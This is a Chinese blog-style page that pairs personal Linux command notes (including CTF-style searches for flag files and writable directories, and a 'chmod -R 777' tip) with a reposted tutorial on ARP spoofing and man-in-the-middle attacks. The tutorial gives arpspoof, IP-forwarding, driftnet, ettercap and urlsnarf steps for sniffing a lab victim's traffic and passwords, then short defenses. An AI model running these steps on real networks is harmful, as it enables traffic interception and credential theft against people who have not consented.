切记,创建完用户要修改密码,否则用户不能登陆

普通账号与root的切换

root切换为普通: login -f hpdoger
普通切换成root权限: su # 然后输入密码

端口类命令

查看端口

我的centos7把firewall给ban了,那么查看端口的命令我用的是这个:
[root@vultr ~]# netstat -lnp

开放/关闭端口监听:

我用ncat进行监听,监听命令:
nc -l -p 8888 -vvv

停止监听:
ctrl + c

注意ctrl + z并不是停止,而是退出当前监听命令界面,仍然在执行监听

文件类命令

进入目录

cd /home # into dir named home
cd ../ # into superior dir
cd - # into last dir which u are from 

创建/删除目录

mkdir ilove # make dir named ilove
rm -rf ilove # delete dir named ilove

显示当前路径

pwd

复制目录

cp -a /root/ilove/ifuck /root # 第一个为原目录地址,第二个为新目录父级目录地址

原目录地址必须为绝对路径

新建/打开/删除文件

vi filename # 创建了一个叫filename的文件了,如果存在就打开了。

进入插入模式,按一下字母「i」就可以进入「插入模式(Insert mode)」,这时候你就可以开始输入文字了。

当处于vi编辑模式时,想要退出的话按esc后输入冒号然后再输入wq,就能退出并保存。
linux 不区分文本和二进制,不需要文件名有txt。

rm -f filename # 删除文件

vi的基本操作

操作 解析
i 进入编辑文本模式
Esc 退出编辑文本模式
:w 保存当前修改
:q 不保存退出vi
:wq 保存当前修改并退出vi

查看当前文件内容

cat /root/ilove/filename # 查看相应目录的文件内容

查询类相关命令

find语句的用法

语句 解析
find / -name file1 从 ‘/’ 开始进入根文件系统查找文件和目录
find / -user user1 查找属于用户 ‘user1’ 的文件和目录
find /home/user1 -name *.bin 在目录 ‘/ home/user1’ 中查找以 ‘.bin’ 结尾的文件
find /usr/bin -type f -atime +100 查找在过去100天内未被使用过的执行文件
find /usr/bin -type f -mtime -10 查找在10天内被创建或者修改过的文件
locate *.ps 寻找以 ‘.ps’ 结尾的文件,先运行 ‘updatedb’ 命令
find -name ‘*.[ch]’ | xargs grep -E ‘expr’ 在当前目录及其子目录所有.c和.h文件中查找 ‘expr’
find -type f -print0 | xargs -r0 grep -F ‘expr’ 在当前目录及其子目录的常规文件中查找 ‘expr’
find -maxdepth 1 -type f | xargs grep -F ‘expr’ 在当前目录中查找 ‘expr’

前几天做题py到了一个很牛逼的查询flag的find用法,先看一下语句:

find / -iname "flag*" 2>/dev/null 

寻找可写目录

find / -type d -writable 2>/dev/null | grep -v -P '(^/proc)|(^/dev)'

寻找可写文件

find / -type f -writable 2>/dev/null | grep -v -P '(^/proc)|(^/dev)'

寻找最近20分钟内修改的文件

find /var/www/html -mmin -20 -type f -print

补一下相关知识

/dev/null
在类Unix系统中,/dev/null,或称空设备,是一个特殊的设备文件,它丢弃一切写入其中的数据(但报告写入操作成功),读取它则会立即得到一个EOF[1]。在程序员行话,尤其是Unix行话中,/dev/null被称为比特桶[2]或者黑洞。

数据流重定向
操作符 | 解析
—— | —-
1> | 以覆盖的方法将“正确的数据”输出到指定的文件或设备上
1>> | 以累加的方法将“正确的数据”输出到指定的文件或设备上
2> | 以覆盖的方法将“错误的数据”输出到指定的文件或设备上;
2>> | 以累加的方法将“错误的数据”输出到指定的文件或设备上;

所以这句话的意思就是搜索所有文件名包含flag字段的文件,并把错误的搜索项以覆盖的方式丢弃到/dev/null

文本内容查找

命令 解析
grep str /tmp/test 在文件 ‘/tmp/test’ 中查找 “str”
grep ^str /tmp/test 在文件 ‘/tmp/test’ 中查找以 “str” 开始的行
grep [0-9] /tmp/test 查找 ‘/tmp/test’ 文件中所有包含数字的行
grep str -r /tmp/* 在目录 ‘/tmp’ 及其子目录中查找 “str”
diff file1 file2 找出两个文件的不同处
sdiff file1 file2 以对比的方式显示两个文件的不同

权限类相关

修改上传目录权限

linux 修改某目录下所有所有子目录权限

chmod -R 777 html

修改某目录为任何用户都用写读执行权限

chmod a+rwx html

显示进程

ps -ef # 列出所有进程信息,包括pid

杀死进程

kill [option] pid

选项 -9 会强行终止进程

系统相关

关机/重启

shutdown -h now # 关机
shutdown -r now # 重启

查看Ip

ifconfig

查看参考手册(例如arpspoof 命令)

man arpspoof

linux中的&&和&,|和||

&  表示任务在后台执行,如要在后台运行redis-server,则有  redis-server &

&& 表示前一条命令执行成功时,才执行后一条命令 ,如 echo '1‘ && echo '2'    

| 表示管道,上一条命令的输出,作为下一条命令参数,如 echo 'yes' | wc -l

|| 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo "fail"

写在最后

目前接触到的有这些,还有很多命令没接触到,日后一并记录到此。已知的,chomd目前还没有记载

相关链接

linux添加用户,用户组(centos7)
【Linux】CentOS7 常用命令集合

浅谈Arp攻击和利用Arp欺骗进行MITM

原文已投稿安全客,转载自安全客:
浅谈Arp攻击和利用Arp欺骗进行MITM

索引

arp欺骗也是很古老的渗透手段了,主要起着信息收集的作用,比如你可以利用欺骗获取对方的流量,从流量分析你认为重要的信息,例如某某账号密码。或是利用Arp攻击,切断局域网内某一用户的网络访问(单向欺骗)。下面着重讲一下中间人攻击的原理,配和实战演练分析,不对的地方,还请大家多多反馈和包涵!

MITM

借用Wiki百科的一个比喻来理解MITM(中间人攻击):

假设爱丽丝(Alice)希望与鲍伯(Bob)通信。同时,马洛里(Mallory)希望拦截窃会话以进行窃听并可能在某些时候传送给鲍伯一个虚假的消息。

  1. 首先,爱丽丝会向鲍勃索取他的公钥。如果Bob将他的公钥发送给Alice,并且此时马洛里能够拦截到这个公钥,就可以实施中间人攻击。马洛里发送给爱丽丝一个伪造的消息,声称自己是鲍伯,并且附上了马洛里自己的公钥(而不是鲍伯的)。

  2. 爱丽丝收到公钥后相信这个公钥是鲍伯的,于是爱丽丝将她的消息用马洛里的公钥(爱丽丝以为是鲍伯的)加密,并将加密后的消息回给鲍伯。马洛里再次截获爱丽丝回给鲍伯的消息,并使用马洛里自己的私钥对消息进行解密,如果马洛里愿意,她也可以对消息进行修改,然后马洛里使用鲍伯原先发给爱丽丝的公钥对消息再次加密。当鲍伯收到新加密后的消息时,他会相信这是从爱丽丝那里发来的消息。

我们的身份就是Mallory,我们希望欺骗Alice和Bob,让其认为我们是交互的正确目标,从而来获取他们之间交流的信息。

Arp攻击分析

想要进行中间人攻击,先理解最基础的arp攻击

Arp协议

ARP(Address Resolution Protocol,地址解析协议)是一个位于TCP/IP协议栈中的网络层,负责将某个IP地址解析成对应的MAC地址。

以太网(局域网)进行信息传输时,不是根据IP地址进行通信,因为IP地址是可变的,用于通信是不安全的。然而MAC地址是网卡的硬件地址,一般出厂后就具有唯一性。ARP协议就是将目标IP地址解析成MAC地址进行验证通信。

Arp通信过程

  1. 每台主机都会在自己的ARP缓冲区建立一个ARP列表(生命周期二十分钟),用于表示IP地址和MAC地址的对应关系。

  2. 主机A若想和主机B通信,首先主机A会查询Arp缓存表(后面称ip-mac缓存表)是否有B主机对应的ip-mac,有的话就将B主机的mac地址封装到数据包发送。若没有的话,主机A会向以太网发送一个Arp广播包,告诉以太网内的所有主机自己的ip-mac,并请求B主机(以ip来表示B主机)的mac地址。当B主机收到Arp广播包后,确认A主机是想找自己的mac地址,就会对A主机进行回应一个自己的mac地址。A主机就会更新自己的ip-mac缓存表,同时B主机也会接收A主机的ip-mac对应关系到自己的ip-mac缓存表。

Arp协议缺陷

ARP协议信任以太网所有的节点,效率高但是不安全。这份协议没有其它字协议来保证以太网内部信息传输的安全,它不会检查自己是否接受或发送过请求包,只要它就收到的arp广播包,他就会把对应的ip-mac更新到自己的缓存表

网关的理解

在wiki中这样定义网关:

在计算机网络中,网关(英语:Gateway)是转发其他服务器通信数据的服务器,接收从客户端发送来的请求时,它就像自己拥有资源的源服务器一样对请求进行处理。有时客户端可能都不会察觉,自己的通信目标是一个网关

区别于路由器(由于历史的原因,许多有关TCP/IP的文献曾经把网络层使用的路由器(英语:Router)称为网关,在今天很多局域网采用都是路由来接入网络,因此现在通常指的网关就是路由器的IP),经常在家庭中或者小型企业网络中使用,用于连接局域网和Internet。

网关也经常指把一种协议转成另一种协议的设备,比如语音网关。

网关可以把内网ip转化为外网ip,从而向服务器发出请求。也可以把外网Ip获得的数据包转换成内网ip发给内网主机。

Arp攻击原理

根据以上说的arp协议缺陷,如果我们冒充网关主机C,不停的向以太网发送自己的ARP广播包,告知自己的ip-mac,此时其它主机就会被欺骗,更新我们C的ip-mac为网关主机的ip-mac,那么其它主机的数据包就会发送到C主机上,因为没有发给真正的网关,就会造成其它主机的网络中断。

Arp攻击实操

环境

攻击主机A:Kali–>ip: 192.168.11.106
被攻击主机B: windows 7–>ip: 192.168.11.105
网关主机C: 192.168.11.1

我的Kali是在虚拟机下,需要Bridge连接保证机器在同一网段,很多人用Nat连接来转发,在实战的轻快下,需要更改虚拟机的网络配置。

网络配置如图:

实操

这里模拟真实环境,攻击主机A和被攻击主机B在同一局域网下。

  1. 先用命令查看一下ip是否正确:
    Kali:

    可以看到ip是192.168.11.106,网卡信息是:
    Windows7:
  2. 用nmap查看当前网端的活跃主机

nmap命令

nmap -sF 192.168.11.0/24


得到如图活跃主机,可以看到我们的主机B。当然获取Ip的途径不可能这么简单,你也可以用fping的方法来分析,之前我用fping探测局域网windows10的主机,发现Ping不通,win10防火墙还是有点东西。不过你可以根据fping的发送包来推断主机是否真正存活,具体可以google一下fping的用法,这里给推荐一个链接

Kali信息收集:Fping

  1. 检查被攻击主机是否可以正常上网

    百度正常访问
  1. 利用Arpspoof进行欺骗攻击
    Kali自带的Arpspoof可以很好的进行欺骗,man arpspoof查看官网手册(网上翻译):
    名字 
     arpspoof # 截获交换局域网中的数据包
    

用法
arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

描述
# arpspoof通过伪造的ARP响应包改变局域网中从目标主机(或所有主机)到另一个主机(host)的数据包转发路径。这是交换局域网中嗅探网络流量的一种极为有效的方法。内核IP转发(或如fragrouter这样的、用户层面的、能完成同样功能的软件)必须提前开启。

参数
-i interface
# 指定要使用的接口(即指定一块网卡)

-c own|host|both
# 指定在恢复ARP配置时使用的硬件地址;当在清理(cleaning up)时,数据包的源地址可以用自己的也可以用主机(host)的硬件地址。使用伪造的硬件地址可能导致某些配置下的交换网络、AP网络或桥接网络通信中断,然而它比起默认值————使用自己的硬件地址要工作地更为可靠。

-t target
# 指定一个特殊的、将被ARP毒化的主机(如果没有指定,则认为是局域网中所有主机)。重复可以指定多个主机。

-r
# 毒化两个主机(目标和主机(host))以捕获两个方向的网络流量。(仅仅在和-t参数一起使用时有效)

host #你想要截获数据包的主机 (通常是网关)。


5. 作为网关欺骗
命令语句

arpspoof -i eth0 -t 192.168.11.105 192.168.1.1

![](https://p3.ssl.qhimg.com/t01364b901401aae698.jpg)
执行命令,Kali会向主机B发送ARP响应包,响应包的内容是Kali的ip-mac地址,而响应包里的ip则是网关主机ip地址。每一行代表一个响应包。从左到右:自己Kali的mac、主机B的mac、帧类型码(0806,代表ARP包)、包大小、包内容。

6. 被攻击主机B网络中断
![](https://p1.ssl.qhimg.com/t0178e6ea7a6cacc21f.png)
在kali终端输入control + c 可以停止,然后主机重新恢复正常联网状态

## 基于Arp攻击理解下的MITM
在前面Arp成功进行攻击后,我们开始作为中间人进行欺骗,需要设置ip转发,获取目标主机B的流量,其后配合其它工具(drifnet)等进行进一步嗅探。

值得一提的是,我们的Arp攻击也是欺骗,但它是单向欺骗,冒充网关主机来欺骗目标主机。实际中,中间人攻击一般是双向欺骗。即作为中间人,主机A双向欺骗主机B与C获得通信内容,但是不破坏通信数据的传输。为了不影响B与C传输的数据丢失,主机A开启ip转发,开启后来自B主机的数据包经过A主机的Kali后转发给主机C。欺骗两个主机B和C后,我们就能嗅探到双向数据包。

如果你的kali在虚拟机,那么以下步骤均需要一个外置的usb无线网卡。在虚拟机中,网络的连接比较复杂,而Ip转发很大程度上取决于网卡性能。如果你是在虚拟机中Kali进行转发,基本都会失败,因为笔记本的内置无限网卡满足不了需求。由于放假在家我的usb无线网卡落在了寝室..下面仅以文字给大家介绍攻击的思路和流程,还请见谅.......
### linux的ip转发
linux因为系统安全,是不支持IP转发的,其配置文件写在/proc/sys/net/ipv4的ip_forward中。默认为0,需要修改为1。

开启方法大致有两种:
1. 只接进入文件修改

cd /proc/sys/net/ipv4
ls
cat ip_forward

#显示结果为0
echo 1 > ip_forward
cat ip_forward

#显示结果为1,修改成功

2. 使用echo

echo “1”> /proc/sys/net/ipv4/ip_forward


### 对网关和目标主机B的双向欺骗
这里进行一步执行,选用第二种Ip转发手段
命令如下:

root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward && arpspoof -i eth0 -t 192.168.11.105 -r 192.168.11.1


### 利用driftnet进程监控
持续保持欺骗,再重新打开一个命令终端。
输入命令:

root@kali:~# driftnet -i eth0

跳出来的drift窗口即会显示本机正在浏览的图片

### 使用ettercap工具获取密码
1. 打开新的终端,输入 attercap -G 启动工具
2. 点击Sniff -> unified sniffing,选择要抓包的网卡,默认是自己的网卡eth0,点确定
3. 然后单击Hosts -> Scan for host,待扫描完成后再次Scan for host,此时可以看到ettercap-NG已经扫描的主机列表
4. 选择攻击目标,点击192.168.11.105的ip地址,点击Add to Target 1 ,然后选择网关的ip地址192.168.11.1,点击Add to Target 2
5. 明确目标攻击方式:点击Mitm -> arp poisoning -> Sniff remote connections -> 确定
6. 开始监听:start -> Start sniffing 

工具就会抓取主机B的数据包和主机C返回的数据包,分析http post请求可以判断账号密码信息。

### urlsnarf:获得受害者的HTTP请求
输入命令:

root@kali:~# urlsnarf -i eth0
```

使用Wireshark抓包

使用Wireshark抓取所有的数据包,过滤分析不同请求,类似于ettercap。
例如,要找HTTP POST请求,过滤,查看明文密码,一般是以POST形式上传的账号密码。

关于Arp欺骗的防御


防御原理很简单,就是不让攻击者肆意表明自己就是网关主机。我们进入网关主机(路由器后台地址),网络参数一栏一般有ip与mac绑定一栏,把网关的mac地址与网关地址绑定就好了。只要确定了对应关系,当攻击者发布arp相应包时,就不会更新相应的ip-mac缓存表。如果想知道对方主机的ip地址其实也容易。我们在Cmd下键入命令arp -a看一下相同mac,就找到了攻击者。

总结

  • 公共区域的wifi存在钓鱼风险
  • 在传输数据过程中尽量使用加密程序

一提的是,我们从始至终双向欺骗的是网关主机

###

not found!